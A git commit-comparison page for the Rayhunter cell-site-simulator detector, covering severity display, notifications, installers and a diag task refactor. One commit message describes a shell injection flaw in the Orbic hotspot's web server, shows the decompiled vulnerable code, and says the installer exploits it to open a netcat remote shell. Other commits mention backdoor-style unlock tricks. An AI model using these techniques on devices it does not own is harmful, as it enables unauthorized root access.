Compare commits

...

105 Commits

Author SHA1 Message Date
Cooper Quintin 6ceced2d31 bump version to 0.6.0 2025-08-20 17:58:45 -07:00
Cooper Quintin 856374c05a revert framerate change 2025-08-20 17:11:04 -07:00
Cooper Quintin 983867c2a6 make web ui reflect screen ui colors 2025-08-20 17:11:04 -07:00
Cooper Quintin 145d0a295a cargo fmt 2025-08-20 17:11:04 -07:00
Cooper Quintin c021b9150d slight refactor 2025-08-20 17:11:04 -07:00
Cooper Quintin ce916dcd10 display colors as well as patterns for severity 2025-08-20 17:11:04 -07:00
Cooper Quintin 898bdbb6cd include event severity in message 2025-08-20 17:11:04 -07:00
Markus Unterwaditzer 375789aad9 cargo fmt 2025-08-20 17:11:04 -07:00
Cooper Quintin 85f7b2cc81 refactor test analyzer for new format 2025-08-20 17:11:04 -07:00
Markus Unterwaditzer 781d11ed72 Expose severity to display
See https://github.com/EFForg/rayhunter/issues/334

Severity levels low, medium, high are now exposed to the UI in form of
dotted, dashed and solid lines. The line on the UI represents the
highest-so-far severity seen.

Originally this was intended to be represented by Yellow/Orange/Red, but
this would mean yet another divergence for colorblind mode. This is
colorblind-friendly by default (I think...)

As part of this, simplify EventType so that it becomes a flat "level"
enum without nested variants.

There is also a new debug endpoint that allows one to overwrite the
display level directly for testing.
2025-08-20 17:11:04 -07:00
Cooper Quintin 6927da49b4 cargo fmt 2025-08-20 14:48:47 -07:00
Cooper Quintin 479505f738 appease clippy 2025-08-20 14:48:47 -07:00
Cooper Quintin 468b07faf0 proper formatting for CID and PLMN 2025-08-20 14:48:47 -07:00
Cooper Quintin 493fdfa227 add docs 2025-08-20 14:48:47 -07:00
Cooper Quintin ffdad4aed8 add test analyzer 2025-08-20 14:48:47 -07:00
Markus Unterwaditzer 33e4fbc544 Fix wrong analyzer name in AnalysisTable
Each event index corresponds to an index in analyzers. But some events
may be null. We're skipping those events without incrementing the index,
leading to wrong analyzer names.
2025-08-20 14:39:09 -07:00
Markus Unterwaditzer 8c510b43c9 Merge pull request #429 from simonft/notifications 2025-08-20 21:56:45 +02:00
Markus Unterwaditzer 46850e2739 Update installer/src/tplink.rs
Co-authored-by: Cooper Quintin <cooperq@users.noreply.github.com>
2025-08-20 09:53:10 -07:00
Markus Unterwaditzer 53e3b8ee34 Mention required SD card for tplink 2025-08-20 09:53:10 -07:00
Markus Unterwaditzer 0fc51d79f4 Fix issue template and improve one error message
The current error message is not very useful for remote-debugging. Add
enough context to allow technically adept users to figure out a way.

See #544
2025-08-20 09:53:10 -07:00
Markus Unterwaditzer ad4e971e77 Restyle download links in table view
They're taking up too much space as individual columns.

Also change DownloadLink to be a real link, so that "Copy URL" works.
2025-08-20 09:48:37 -07:00
Markus Unterwaditzer c5a79e545d Add documentation for Orbic Network installer 2025-08-20 09:41:43 -07:00
Markus Unterwaditzer 9d92ab3c01 Simplify remounting procedure 2025-08-19 17:36:10 -07:00
Markus Unterwaditzer cf254b66ff Address review comments and update wingtech docs 2025-08-19 17:36:10 -07:00
Markus Unterwaditzer cddc590c77 Try to use the same rust version as in other jobs 2025-08-19 17:36:10 -07:00
Markus Unterwaditzer 9d736f5bf0 Add a orbic network installer
There is a shell injection vulnerability after all, so we can just
launch a remote shell, tplink-style. Except there's no telnetd on this
device so we need to use netcat.

This was found in the goahead binary on the device using Ghidra. The
decompiled code for this endpoint looks like this:

```c
void FUN_0003c614(int param_1)

{
  int iVar1;
  undefined4 uVar2;
  int local_160;
  undefined1 auStack_15c [64];
  char acStack_11c [256];
  int local_1c;

  local_1c = __stack_chk_guard;
  if (param_1 == 0) {
    error("input parameter is NULL!");
    uVar2 = 0x66;
    goto LAB_0003c808;
  }
  iVar1 = websGetJsonItemValue(param_1,"password",10,auStack_15c,0x40);
  if (iVar1 != 0) {
    iVar1 = get_log_level_something();
    if (1 < iVar1) {
      some_logging_func(2,"modifying root password(%s)...",auStack_15c);
    }
    iVar1 = sprintf(acStack_11c,"echo root:\"%s\"|chpasswd",auStack_15c);
    acStack_11c[iVar1] = '\0';
    system(acStack_11c);
  }
```

Usage is `./installer orbic-network`, as an alternative to `./installer
orbic`. It should work on Windows without any kind of drivers.

This installer also works on the Moxee device.
2025-08-19 17:36:10 -07:00
oopsbagel e5df43d7f5 Merge pull request #520 from simonft/update-install-commands-in-doc
Update instructions for installing from source
2025-08-13 20:22:33 +00:00
Simon Fondrie-Teitler a8667cc3a0 Pass notification_channel in diag_task constructor 2025-08-11 13:59:42 -04:00
Markus Unterwaditzer 3239daa011 Merge pull request #529 from EFForg/macos-intel-ci
Move MacOS intel builds to macos-latest
2025-08-11 16:50:14 +02:00
Markus Unterwaditzer 651511cc63 Merge pull request #530 from EFForg/windows-installer
Rename windows installer file to installer.exe
2025-08-11 16:50:02 +02:00
Simon Fondrie-Teitler 211066ec7b Record last attempt time when notification connection fails 2025-08-09 15:18:04 -04:00
Simon Fondrie-Teitler 16ec9e28df Remove a couple unnecssary whitespace changes 2025-08-09 15:03:08 -04:00
Simon Fondrie-Teitler 4462f02c10 Properly close notification service channel 2025-08-09 14:55:13 -04:00
Simon Fondrie-Teitler 5bd2d9a58e Merge branch 'main' into notifications 2025-08-09 14:17:22 -04:00
Markus Unterwaditzer 603d65a3bd Move MacOS intel builds to macos-latest
We're now using ARM runners which crosscompile to Intel.

Fix #525
2025-08-08 21:53:20 +02:00
Markus Unterwaditzer c0a9cf62df Rename windows installer file to installer.exe
Fix #521
2025-08-08 21:53:02 +02:00
Markus Unterwaditzer 0a20e659be Merge pull request #527 from EFForg/fix-rust-warnings
Fix clippy lints and warnings in Rust 1.89
2025-08-08 21:52:46 +02:00
Markus Unterwaditzer ce599dc432 specify package.rust-version for daemon 2025-08-08 18:02:40 +02:00
Markus Unterwaditzer 85b50bc301 Remove unpack! macro 2025-08-08 03:12:38 +02:00
Markus Unterwaditzer 5249714717 Fix clippy lints and warnings in Rust 1.89
This will also require Rust 1.89 due to if-let.
2025-08-08 03:02:07 +02:00
Simon Fondrie-Teitler 67974264f9 Update Config object in svelte to add ntfy url 2025-08-06 13:12:10 -04:00
Simon Fondrie-Teitler f562d33be3 Document notification configuration 2025-08-06 13:08:16 -04:00
Simon Fondrie-Teitler 0531aa0e3a Require rust 1.88 so we can use let chains 2025-08-06 13:08:08 -04:00
Simon Fondrie-Teitler dd78f5007d Specify ntfy notification is from rayhunter 2025-08-06 13:07:25 -04:00
Simon Fondrie-Teitler 1c08708bc4 Set full ntfy url in config instead of just topic 2025-08-06 13:07:08 -04:00
Simon Fondrie-Teitler 0f53da58bc Better document options when installing from source 2025-08-06 10:55:05 -04:00
Simon Fondrie-Teitler 01010df4ec Update instructions for installing from source
Command changed in #460
2025-08-05 17:59:13 -04:00
Simon Fondrie-Teitler 481f02f81f Merge branch 'main' into notifications 2025-08-05 17:30:07 -04:00
Markus Unterwaditzer 8c67a92b07 Merge pull request #511 from Tunas1337/uz801
Add UZ801 support
2025-08-05 21:23:27 +02:00
Markus Unterwaditzer 31bd60dea1 cargo fmt 2025-08-05 21:11:17 +02:00
Markus Unterwaditzer 13877f7209 cargo clippy 2025-08-05 21:05:31 +02:00
Andrej f4522dbe3d cargo fmt run 2025-08-05 14:21:19 -04:00
Matej Kovacic 30bb18016e Update heuristics.md 2025-08-05 08:17:51 -07:00
Matej Kovacic c6aa53acd2 Update heuristics.md
More explanation of logic behind analysers.
2025-08-05 08:17:51 -07:00
oopsbagel c6882ed173 Merge pull request #515 from EFForg/installer-faster
Speed up file transfer for network-based installers
2025-08-05 00:30:46 +00:00
Markus Unterwaditzer 5c03f6ea03 Add reanalyze button
Add a reanalyze button for individual recordings in the analysis dropdown

As part of this, split out ApiRequestButton so that state transitions
(clickable -> loading/disabled -> done) can be shared across start/stop
recording and this new button. Other buttons might benefit from this as
well.

Also fix a broken checkbox while we're here.
2025-08-04 17:19:42 -07:00
Andrej 5184c6138d uz801: Add uninstalling instructions 2025-08-04 13:23:14 -04:00
Andrej c893f8e2a9 uz801: update docs 2025-08-04 13:16:46 -04:00
Andrej 2e6343c343 uz801: clippy fixes 2025-08-04 11:35:23 -04:00
Andrej da4a86be13 uz801: Installer improvements 2025-08-04 11:33:37 -04:00
Andrej 55794cbdd5 uz801: Fix clippy warnings 2025-08-03 20:03:01 -04:00
Andrej e36b490d15 uz801: installer: Add file transfer verify, other fixes 2025-08-03 19:27:25 -04:00
Andrej 574e897610 cargo fmt pass 2025-08-03 18:49:38 -04:00
Andrej 1f19bc880f uz801: Force LED updates every 5s to beat MifiService 2025-08-03 18:35:54 -04:00
Markus Unterwaditzer 8dc6206683 Speed up file transfer for network-based installers
There is a bug in `telnet_send_file` where we never close the connection
to nc, and instead wait for it to time out.

This means every file transfer takes at least 5 seconds.
2025-08-04 00:06:57 +02:00
Andrej 7184ccd5c1 uz801: installer: Update VID/PID, add remount 2025-08-03 18:06:13 -04:00
Andrej cb22e179d6 uz801: installer: Add missing dependency 2025-08-03 17:30:15 -04:00
Andrej a3db5029ad uz801: Update installer 2025-08-03 16:51:46 -04:00
Andrej 9f661ab398 uz801: Update documentation 2025-08-03 16:51:36 -04:00
Andrej 412ad3d8bf cargo fmt run 2025-08-03 16:29:59 -04:00
Andrej 4d2d49326a uz801: Update installer usb backdoor trigger code 2025-08-03 11:12:46 -04:00
Andrej c26ad29ffb uz801: Fix installer defaults, fix docs for admin IP 2025-08-03 11:05:50 -04:00
Andrej f57fc611c2 uz801: Use busybox coreutils (they were hiding all along) 2025-08-03 10:54:47 -04:00
Andrej 38a408757a Add uz801 to supported devices list 2025-08-03 10:28:43 -04:00
Andrej 0540504eea uz801: Correct LED definition comment 2025-08-03 10:25:56 -04:00
Andrej 28a0c06017 uz801: Add purchase links to documentation 2025-08-03 00:51:35 -04:00
Andrej 6141087f9d uz801: Added docs 2025-08-03 00:41:40 -04:00
Andrej 7a053a4f89 uz801: cargo fmt run 2025-08-02 21:03:28 -04:00
Andrej 6473c05e3e uz801: Refactor strings, since &&'static str can be coerced into &dyn AsRef<str>: & 2025-08-02 20:59:09 -04:00
Andrej c697773244 uz801: Add initial (experimental) support 2025-08-02 20:58:19 -04:00
oopsbagel fe6afac817 Merge pull request #499 from EFForg/installer-issue-tmpl
Add an issue template for Installer issues
2025-08-02 18:50:13 +00:00
oopsbagel 8e708f145e doc/pinephone: the installer runs on the phone 2025-08-01 09:42:34 -07:00
oopsbagel 03c00a1f19 installer/orbic: warn windows users this may brick
The windows installer seems to sometimes brick the Orbic's ARM core,
resulting in the DSP returning "Qmi Send Message Fail" when sent AT
commands.

This commit adds a loud warning and confirmation dialog for Windows
users before installing.
2025-07-31 22:22:55 -07:00
oopsbagel 64842c7140 release v0.5.1 2025-07-31 22:22:55 -07:00
Markus Unterwaditzer e108c21fc2 Use ./installer in docs
See https://github.com/EFForg/rayhunter/discussions/490
2025-07-31 20:55:41 +02:00
Sashanoraa 49a2108214 Add an issue template for Installer issues 2025-07-31 14:42:17 -04:00
Markus Unterwaditzer 53a6cbe95a Fix line endings on Windows
Fix #489
2025-07-31 18:06:52 +02:00
Sashanoraa 398997af67 Refactor diag thread to have full control over the QMDL store
Fixes #269. Refactor also pull diag thread logic out into state machine
object for better encapsulation and reuse.
2025-07-31 11:47:11 +02:00
oopsbagel 6b109a9d76 Merge pull request #498 from oopsbagel/wingtech-wifi-install-fix
wingtech: install without disabling wifi
2025-07-31 03:29:53 +00:00
oopsbagel d9688b1796 wingtech: install without disabling wifi
Previously, the unlocking method for the wingtech hotspot would add a
invalid mac address to the blocklist. This would prevent the wifi from
coming online after rebooting until the invalid mac was removed.

This commit changes the unlocking method to attempt to *remove* an
invalid mac, creating a no-op condition that still works for unlocking
root access to the hotspot.

This commit also adds documentation for a problem where the hotspot
would occasionally not reboot while completely disconnected and
installing over wifi.

Fixes #466
2025-07-30 20:09:26 -07:00
Sashanoraa 7466c1c669 Fixes #381 UI no longer X overflows on mobile
Button will horizontally shrink a little on smaller screens and buttons
and tables will X scroll if needed.
2025-07-30 14:13:16 -04:00
Cooper Quintin 6a51050921 Update doc/configuration.md
Co-authored-by: Will Greenberg <ifnspifn@gmail.com>
2025-07-28 16:05:58 -07:00
Matej Kovacic 0935cf8239 Delete doc/Rayhunter_0.3.2.png 2025-07-28 16:05:58 -07:00
Matej Kovacic d25e9588e2 Update heuristics.md 2025-07-28 16:05:58 -07:00
Matej Kovacic a8ff95a07b Update using-rayhunter.md 2025-07-28 16:05:58 -07:00
Matej Kovacic ac86277903 Add files via upload 2025-07-28 16:05:58 -07:00
Matej Kovacic 8e9abc718a Update configuration.md 2025-07-28 16:05:58 -07:00
Matej Kovacic d92fb16c57 Add files via upload 2025-07-28 16:05:58 -07:00
Markus Unterwaditzer f8824ce7e7 Remove blocking code and spawn_blocking
Rayhunter uses a mixture of spawn and spawn_blocking, then also does
some blocking operations inside of async code.

Move everything to async. This allows us to use the single-threaded
runtime.

Now the binary is 100kB smaller, and the memory usage also improved by
~100kB on tplink.
2025-07-28 16:04:24 -07:00
Sashanoraa 9694aa826b Use firmware-devel profile for make.sh 2025-07-28 11:09:48 -07:00
Sashanoraa b859dde0c8 Add firmware-devel profile to cargo config
This speeds up compile time in exchange for binary size,
which is often a worthy trade-off in development when iteration speed
matters.
2025-07-28 11:09:48 -07:00
Simon Fondrie-Teitler f55d9128d4 Merge branch 'main' into notifications 2025-06-27 17:25:01 -04:00
Simon Fondrie-Teitler 84534bbb2c Clippy fixes 2025-06-27 13:56:30 -04:00
Simon Fondrie-Teitler 1d50440c85 Use RustCrypto TLS provider so we don't need to depend on LLVM 2025-06-27 11:44:35 -04:00
Simon Fondrie-Teitler 2c05f3d94e Add notifications with ntfy 2025-06-26 18:01:29 -04:00
90 changed files with 3182 additions and 1017 deletions
+5
View File
@@ -36,6 +36,11 @@ lto = "fat"
opt-level = "z"
strip = "debuginfo"
[profile.firmware-devel]
inherits = "release"
opt-level = "s"
lto = false
# optimizations to reduce the binary size of firmware binaries
[profile.firmware]
inherits = "release"
+9
View File
@@ -0,0 +1,9 @@
# Files that are distributed onto the Rayhunter device always have to have
# Unix-style line endings, even if the installer is built on Windows with
# autocrlf enabled.
# Using CRLF for the init scripts will make them fail to execute on TP-Link.
# See https://github.com/EFForg/rayhunter/issues/489
dist/config.toml.in eol=lf
dist/scripts/misc-daemon eol=lf
dist/scripts/rayhunter_daemon eol=lf
+47
View File
@@ -0,0 +1,47 @@
name: Installer Issue
description: File an bug related to an installer issue.
labels: ["bug", "installer"]
body:
- type: input
attributes:
label: Rayhunter Version
placeholder: 'v0.5.0'
validations:
required: true
- type: dropdown
attributes:
label: Device
description: |
What device are you trying to install Rayhunter on?
options:
- Orbic RC400L
- Tplink M7350
- Tplink M7310
- Tmobile TMOHS1
- Wingtech CT2MHS0
- Pinephone
- Other / I'm not sure
validations:
required: true
- type: dropdown
attributes:
label: Installer OS
description: What operating system are running the installer from
multiple: false
options:
- Linux
- macOS
- Windows
validations:
required: true
- type: textarea
attributes:
label: Describe the Issue
description: |
Please describe the issue you're having installing Rayhunter.
Include the logs outputed by the installer program. If the installer
is crashing, please try running the installer with `RUST_BACKTRACE=1`
environment variable set so we can see exactly where the installer is
crashing.
validations:
required: true
+9 -3
View File
@@ -104,6 +104,7 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
- name: Check formatting
run: cargo fmt --all --check
@@ -181,7 +182,7 @@ jobs:
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
os: macos-latest
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
@@ -285,7 +286,7 @@ jobs:
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
os: macos-latest
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
@@ -337,7 +338,12 @@ jobs:
platform="${{ matrix.platform }}"
dest="rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}"
mkdir "$dest"
mv installer-$platform/installer* "$dest"/installer
# Handle installer with proper extension for Windows
if [ "$platform" = "windows-x86_64" ]; then
mv installer-$platform/installer.exe "$dest"/installer.exe
else
mv installer-$platform/installer "$dest"/installer
fi
cp -r rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
zip -r "$dest.zip" "$dest"
sha256sum "$dest.zip" > "$dest.zip.sha256"
Generated
+543 -102
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rayhunter-check"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
[dependencies]
+2 -2
View File
@@ -65,10 +65,10 @@ impl Report {
EventType::Informational => {
info!("{}: INFO - {} {}", self.file_path, timestamp, event.message,);
}
EventType::QualitativeWarning { severity } => {
EventType::Low | EventType::Medium | EventType::High => {
warn!(
"{}: WARNING (Severity: {:?}) - {} {}",
self.file_path, severity, timestamp, event.message,
self.file_path, event.event_type, timestamp, event.message,
);
self.warnings += 1;
}
+9 -3
View File
@@ -1,13 +1,14 @@
[package]
name = "rayhunter-daemon"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
rust-version = "1.88.0"
[dependencies]
rayhunter = { path = "../lib" }
toml = "0.8.8"
serde = { version = "1.0.193", features = ["derive"] }
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt-multi-thread"] }
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt"] }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json"] }
thiserror = "1.0.52"
libc = "0.2.150"
@@ -17,10 +18,15 @@ tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
futures-macro = "0.3.30"
include_dir = "0.7.3"
chrono = { version = "0.4.31", features = ["serde"] }
tokio-stream = { version = "0.1.14", default-features = false }
tokio-stream = { version = "0.1.14", default-features = false, features = ["io-util"] }
futures = { version = "0.3.30", default-features = false }
serde_json = "1.0.114"
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
tempfile = "3.10.1"
async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98"
reqwest = { version = "0.12.20", default-features = false, features = [
"rustls-tls-webpki-roots-no-provider",
] }
rustls-rustcrypto = "0.0.2-alpha"
async-trait = "0.1.88"
+10 -6
View File
@@ -1,5 +1,5 @@
use std::sync::Arc;
use std::{future, pin};
use std::{cmp, future, pin};
use axum::Json;
use axum::{
@@ -8,7 +8,7 @@ use axum::{
};
use futures::TryStreamExt;
use log::{error, info};
use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
use rayhunter::analysis::analyzer::{AnalyzerConfig, EventType, Harness};
use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::qmdl::QmdlReader;
use serde::Serialize;
@@ -47,15 +47,19 @@ impl AnalysisWriter {
// Runs the analysis harness on the given container, serializing the results
// to the analysis file, returning the whether any warnings were detected
pub async fn analyze(&mut self, container: MessagesContainer) -> Result<bool, std::io::Error> {
let mut warning_detected = false;
pub async fn analyze(
&mut self,
container: MessagesContainer,
) -> Result<EventType, std::io::Error> {
let mut max_type = EventType::Informational;
for row in self.harness.analyze_qmdl_messages(container) {
if !row.is_empty() {
self.write(&row).await?;
}
warning_detected |= row.contains_warnings();
max_type = cmp::max(max_type, row.get_max_event_type());
}
Ok(warning_detected)
Ok(max_type)
}
async fn write<T: Serialize>(&mut self, value: &T) -> Result<(), std::io::Error> {
+2
View File
@@ -16,6 +16,7 @@ pub struct Config {
pub ui_level: u8,
pub colorblind_mode: bool,
pub key_input_mode: u8,
pub ntfy_url: Option<String>,
pub analyzers: AnalyzerConfig,
}
@@ -30,6 +31,7 @@ impl Default for Config {
colorblind_mode: false,
key_input_mode: 0,
analyzers: AnalyzerConfig::default(),
ntfy_url: None,
}
}
}
+283 -131
View File
@@ -1,143 +1,296 @@
use std::ops::DerefMut;
use std::pin::pin;
use std::sync::Arc;
use std::time::Duration;
use axum::body::Body;
use axum::extract::{Path, State};
use axum::http::StatusCode;
use axum::http::header::CONTENT_TYPE;
use axum::response::{IntoResponse, Response};
use futures::{StreamExt, TryStreamExt};
use futures::{StreamExt, TryStreamExt, future};
use log::{debug, error, info, warn};
use rayhunter::analysis::analyzer::AnalyzerConfig;
use rayhunter::diag::DataType;
use tokio::fs::File;
use tokio::io::{AsyncBufReadExt, BufReader};
use tokio::sync::mpsc::{Receiver, Sender};
use tokio::sync::{RwLock, oneshot};
use tokio_stream::wrappers::LinesStream;
use tokio_util::task::TaskTracker;
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::diag_device::DiagDevice;
use rayhunter::qmdl::QmdlWriter;
use tokio::fs::File;
use tokio::sync::RwLock;
use tokio::sync::mpsc::{Receiver, Sender};
use tokio_util::io::ReaderStream;
use tokio_util::task::TaskTracker;
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
use crate::display;
use crate::qmdl_store::{EntryType, RecordingStore, RecordingStoreError};
use crate::notifications::Notification;
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
use crate::server::ServerState;
pub enum DiagDeviceCtrlMessage {
StopRecording,
StartRecording,
DeleteEntry {
name: String,
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
},
DeleteAllEntries {
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
},
Exit,
}
pub struct DiagTask {
ui_update_sender: Sender<display::DisplayState>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
state: DiagState,
max_type_seen: EventType,
}
enum DiagState {
Recording {
qmdl_writer: QmdlWriter<File>,
analysis_writer: Box<AnalysisWriter>,
},
Stopped,
}
impl DiagTask {
fn new(
ui_update_sender: Sender<display::DisplayState>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
) -> Self {
Self {
ui_update_sender,
analysis_sender,
analyzer_config,
notification_channel,
state: DiagState::Stopped,
max_type_seen: EventType::Informational,
}
}
/// Start recording
async fn start(&mut self, qmdl_store: &mut RecordingStore) {
let (qmdl_file, analysis_file) = qmdl_store
.new_entry()
.await
.expect("failed creating QMDL file entry");
self.stop_current_recording().await;
let qmdl_writer = QmdlWriter::new(qmdl_file);
let analysis_writer = AnalysisWriter::new(analysis_file, &self.analyzer_config)
.await
.map(Box::new)
.expect("failed to write to analysis file");
self.state = DiagState::Recording {
qmdl_writer,
analysis_writer,
};
if let Err(e) = self
.ui_update_sender
.send(display::DisplayState::Recording)
.await
{
warn!("couldn't send ui update message: {e}");
}
}
/// Stop recording
async fn stop(&mut self, qmdl_store: &mut RecordingStore) {
self.stop_current_recording().await;
if let Some((_, entry)) = qmdl_store.get_current_entry()
&& let Err(e) = self
.analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await
{
warn!("couldn't send analysis message: {e}");
}
if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {e}");
}
if let Err(e) = self
.ui_update_sender
.send(display::DisplayState::Paused)
.await
{
warn!("couldn't send ui update message: {e}");
}
}
async fn delete_entry(
&mut self,
qmdl_store: &mut RecordingStore,
name: &str,
) -> Result<(), RecordingStoreError> {
if qmdl_store.is_current_entry(name) {
self.stop(qmdl_store).await;
}
let res = qmdl_store.delete_entry(name).await;
if let Err(e) = res.as_ref() {
error!("Error deleting QMDL entry {e}");
}
res
}
async fn delete_all_entries(
&mut self,
qmdl_store: &mut RecordingStore,
) -> Result<(), RecordingStoreError> {
self.stop(qmdl_store).await;
let res = qmdl_store.delete_all_entries().await;
if let Err(e) = res.as_ref() {
error!("Error deleting QMDL entries {e}");
}
res
}
async fn stop_current_recording(&mut self) {
let mut state = DiagState::Stopped;
std::mem::swap(&mut self.state, &mut state);
if let DiagState::Recording {
analysis_writer, ..
} = state
{
analysis_writer
.close()
.await
.expect("failed to close analysis writer");
}
}
async fn process_container(
&mut self,
qmdl_store: &mut RecordingStore,
container: MessagesContainer,
) {
if container.data_type != DataType::UserSpace {
debug!("skipping non-userspace diag messages...");
return;
}
// keep track of how many bytes were written to the QMDL file so we can read
// a valid block of data from it in the HTTP server
if let DiagState::Recording {
qmdl_writer,
analysis_writer,
} = &mut self.state
{
qmdl_writer
.write_container(&container)
.await
.expect("failed to write to QMDL writer");
debug!(
"total QMDL bytes written: {}, updating manifest...",
qmdl_writer.total_written
);
let index = qmdl_store
.current_entry
.expect("DiagDevice had qmdl_writer, but QmdlStore didn't have current entry???");
qmdl_store
.update_entry_qmdl_size(index, qmdl_writer.total_written)
.await
.expect("failed to update qmdl file size");
debug!("done!");
let max_type = analysis_writer
.analyze(container)
.await
.expect("failed to analyze container");
if max_type > EventType::Informational {
info!("a heuristic triggered on this run!");
self.notification_channel
.send(Notification::new(
"heuristic-warning".to_string(),
format!("Rayhunter has detected a {:?} severity event", max_type),
Some(Duration::from_secs(60 * 5)),
))
.await
.expect("Failed to send to notification channel");
}
if max_type > self.max_type_seen {
self.max_type_seen = max_type;
if self.max_type_seen > EventType::Informational {
self.ui_update_sender
.send(display::DisplayState::WarningDetected {
event_type: self.max_type_seen,
})
.await
.expect("couldn't send ui update message: {}");
}
}
} else {
debug!("no qmdl_writer set, continuing...");
}
}
}
#[allow(clippy::too_many_arguments)]
pub fn run_diag_read_thread(
task_tracker: &TaskTracker,
mut dev: DiagDevice,
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
qmdl_file_tx: Sender<DiagDeviceCtrlMessage>,
ui_update_sender: Sender<display::DisplayState>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
) {
task_tracker.spawn(async move {
let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry");
let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file));
let mut diag_stream = pin!(dev.as_stream().into_stream());
let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, &analyzer_config).await
.expect("failed to create analysis writer"));
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel);
qmdl_file_tx
.send(DiagDeviceCtrlMessage::StartRecording)
.await
.unwrap();
loop {
tokio::select! {
msg = qmdl_file_rx.recv() => {
match msg {
Some(DiagDeviceCtrlMessage::StartRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await;
let (qmdl_file, new_analysis_file) = match qmdl_store.new_entry().await {
Ok(x) => x,
Err(e) => {
error!("couldn't create new qmdl entry: {e}");
continue;
}
};
maybe_qmdl_writer = Some(QmdlWriter::new(qmdl_file));
if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, &analyzer_config).await
.expect("failed to write to analysis file"));
if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await {
warn!("couldn't send ui update message: {e}");
}
diag_task.start(qmdl_store.deref_mut()).await;
},
Some(DiagDeviceCtrlMessage::StopRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await;
if let Some((_, entry)) = qmdl_store.get_current_entry() {
if let Err(e) = analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await {
warn!("couldn't send analysis message: {e}");
}
}
if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {e}");
}
maybe_qmdl_writer = None;
if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
maybe_analysis_writer = None;
if let Err(e) = ui_update_sender.send(display::DisplayState::Paused).await {
warn!("couldn't send ui update message: {e}");
}
diag_task.stop(qmdl_store.deref_mut()).await;
},
// None means all the Senders have been dropped, so it's
// time to go
Some(DiagDeviceCtrlMessage::Exit) | None => {
info!("Diag reader thread exiting...");
if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
diag_task.stop_current_recording().await;
return Ok(())
},
Some(DiagDeviceCtrlMessage::DeleteEntry { name, response_tx }) => {
let mut qmdl_store = qmdl_store_lock.write().await;
let resp = diag_task.delete_entry(qmdl_store.deref_mut(), name.as_str()).await;
if response_tx.send(resp).is_err() {
error!("Failed to send delete entry respons, receiver dropped");
}
},
Some(DiagDeviceCtrlMessage::DeleteAllEntries { response_tx }) => {
let mut qmdl_store = qmdl_store_lock.write().await;
let resp = diag_task.delete_all_entries(qmdl_store.deref_mut()).await;
if response_tx.send(resp).is_err() {
error!("Failed to send delete all entries respons, receiver dropped");
}
},
}
}
maybe_container = diag_stream.next() => {
match maybe_container.unwrap() {
Ok(container) => {
if container.data_type != DataType::UserSpace {
debug!("skipping non-userspace diag messages...");
continue;
}
// keep track of how many bytes were written to the QMDL file so we can read
// a valid block of data from it in the HTTP server
if let Some(qmdl_writer) = maybe_qmdl_writer.as_mut() {
qmdl_writer.write_container(&container).await.expect("failed to write to QMDL writer");
debug!("total QMDL bytes written: {}, updating manifest...", qmdl_writer.total_written);
let mut qmdl_store = qmdl_store_lock.write().await;
let index = qmdl_store.current_entry.expect("DiagDevice had qmdl_writer, but QmdlStore didn't have current entry???");
qmdl_store.update_entry_qmdl_size(index, qmdl_writer.total_written).await
.expect("failed to update qmdl file size");
debug!("done!");
} else {
debug!("no qmdl_writer set, continuing...");
}
if let Some(analysis_writer) = maybe_analysis_writer.as_mut() {
let heuristic_warning = analysis_writer.analyze(container).await
